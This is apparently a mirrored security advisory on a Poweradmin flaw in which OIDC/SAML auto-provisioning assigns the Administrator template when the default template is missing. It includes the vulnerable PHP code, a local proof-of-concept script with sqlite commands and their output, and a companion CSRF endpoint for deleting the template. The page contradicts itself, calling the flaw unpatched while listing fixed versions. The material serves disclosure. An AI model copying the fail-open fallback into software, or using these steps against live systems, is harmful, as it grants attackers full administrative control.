GHSA-VW9H-W6H7-9WWM
Fail-open privilege assignment: OIDC/SAML auto-provisioning grants Administrator when the default permission template cannot be resolved
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-VW9H-W6H7-9WWM divulgada · CVSS 7.5 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
When Poweradmin auto-provisions a user from an external identity provider (OIDC or SAML), it selects the new account's permission template in `UserProvisioningService::determinePermissionTemplate()`. If the configured default template name cannot be resolved by exact match, the code falls back to `SELECT id FROM perm_templ ORDER BY id ASC LIMIT 1`, which in every shipped installation returns the bundled `Administrator` template holding `user_is_ueberuser`. Independently reproduced against commit `d814d61`: with the shipped `Guest` template present, provisioning correctly assigns Guest; with `Guest` removed (an ordinary housekeeping action, or one remotely triggerable via a companion CSRF finding) the identical provisioning call silently creates a fully active Administrator account for an external identity. Affects `<= 4.4.0`; unpatched.
Details
Vulnerable fallback chain, `UserProvisioningService::determinePermissionTemplate()`:
$defaultTemplateId = $this->findPermissionTemplateByName($defaultTemplateName);
if ($defaultTemplateId) {
return $defaultTemplateId;
} else {
$this->logError('Default permission template {template} not found in database!', [...]);
}
// Final fallback: find any available template (should not happen in normal operation)
$this->logWarning('Default permission template not found, using first available template');
$fallbackId = $this->findFirstAvailablePermissionTemplate(); // <-- fails OPEN
return $fallbackId;private function findFirstAvailablePermissionTemplate(): ?int
{
$stmt = $this->db->prepare("SELECT id FROM perm_templ ORDER BY id ASC LIMIT 1");
...
}The bundled schema seeds `perm_templ` id 1 as `Administrator`, holding `perm_id 53 = user_is_ueberuser` (`'User has full access. God-like. Redeemer.'`). `findPermissionTemplateByName()` is a case-sensitive exact match (`WHERE name = ?`), so any of the following ordinary conditions trigger the fallback: the `Guest` template is renamed; the `Guest` template is deleted; the configured `default_permission_template` has a case or spelling mismatch (`'guest'` vs `'Guest'`). Nothing validates the configured template name at boot or at login; neither `OidcConfigurationService::validatePermissionTemplateMapping()` nor `ConfigValidator` check that the referenced template actually exists.
`createNewUser()` calls `determinePermissionTemplate(...)` with `$useDefaultFallback` defaulting to `true`, and inserts the returned id directly as the new user's `perm_templ` together with `active = 1`. The existing-user update path is not affected: it calls the same function with `$useDefaultFallback = false`, which returns `null` (keeping current permissions) rather than falling back.
The precondition is remotely creatable. A companion finding (missing CSRF protection on `GET /permissions/templates/{id}/delete?confirm=1`) allows any logged-in operator's browser to delete the `Guest` template with a single top-level navigation, provided no user is currently assigned to it, exactly the state of a fresh SSO deployment before its first external login.
PoC
All testing below was performed locally, invoking the actual application source directly via the PHP CLI (`php poc_provision2.php ...`) against a self-hosted SQLite database built from the cloned `poweradmin/poweradmin` source at commit `d814d61` (not `poweradmin.org` or any live/production/third-party deployment, and not any real identity provider; `OidcUserInfo` objects are constructed directly in the test script rather than obtained via a live OIDC login flow, since standing up a real IdP was outside the scope of this local test).
Direct invocation of the real production entry point, `UserProvisioningService::provisionUser()` (the actual, unmodified application code, not a mock or stub), with a genuine `OidcUserInfo` object of the type `OidcService::handleCallback()` builds from an actual IdP response.
Control, with `Guest` present:
// poc_provision2.php
$info = new OidcUserInfo("control_oidc_user2", "control_oidc_user2@external.example",
'Ext', 'User', "control_oidc_user2 display", [], 'corp-idp', "sub-control_oidc_user2-0001",
['sub' => "sub-control_oidc_user2-0001"], null);
var_dump($info->isValid());
$id = $svc->provisionUser($info, 'corp-idp');
// ... fetch and print the resulting row$ php poc_provision2.php control_oidc_user2bool(true)
user=control_oidc_user2 perm_templ=5 (Guest) active=1 auth=oidc IS_UEBERUSER=no$ sqlite3 -header pa.db "SELECT id,username,email,perm_templ,active,auth_method FROM users WHERE username='control_oidc_user2';"id|username|email|perm_templ|active|auth_method
14|control_oidc_user2|control_oidc_user2@external.example|5|1|oidcTrigger, `Guest` template removed (`DELETE FROM perm_templ WHERE id=5`), otherwise identical call:
$ sqlite3 pa.db "DELETE FROM perm_templ WHERE id=5;"
$ php poc_provision2.php attacker_oidc_user3bool(true)
user=attacker_oidc_user3 perm_templ=1 (Administrator) active=1 auth=oidc IS_UEBERUSER=YES ***SUPERUSER***$ sqlite3 -header pa.db "SELECT id,username,email,perm_templ,active,auth_method FROM users WHERE username='attacker_oidc_user3';"id|username|email|perm_templ|active|auth_method
15|attacker_oidc_user3|attacker_oidc_user3@external.example|1|1|oidcRe-confirmed with a second, distinct username to rule out a one-off artifact:
$ php poc_provision2.php attacker_oidc_user4bool(true)
user=attacker_oidc_user4 perm_templ=1 (Administrator) active=1 auth=oidc IS_UEBERUSER=YES ***SUPERUSER***$ sqlite3 -header pa.db "SELECT id,username,email,perm_templ,active,auth_method FROM users WHERE username='attacker_oidc_user4';"id|username|email|perm_templ|active|auth_method
16|attacker_oidc_user4|attacker_oidc_user4@external.example|1|1|oidcImpact
Any first-time login through a configured OIDC or SAML provider, once the `Guest` template becomes unavailable for any reason (a rename, a deletion, or a single-character configuration typo) is silently provisioned as a full administrator: complete control of every DNS zone, all users and permission templates, API keys, and DNSSEC operations. No attacker action beyond authenticating at the identity provider is required once the precondition exists, and the precondition itself can arise from ordinary operator housekeeping or be created remotely via the companion CSRF finding with no attacker credentials at all.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistpoweradmin/poweradmin |
Corregida | 4.2.6, 4.3.5, 4.4.1 | — | — |
4.2.64.3.54.4.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/poweradmin/poweradmin/security/advisories/GHSA-vw9h-w6h7-9wwmLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
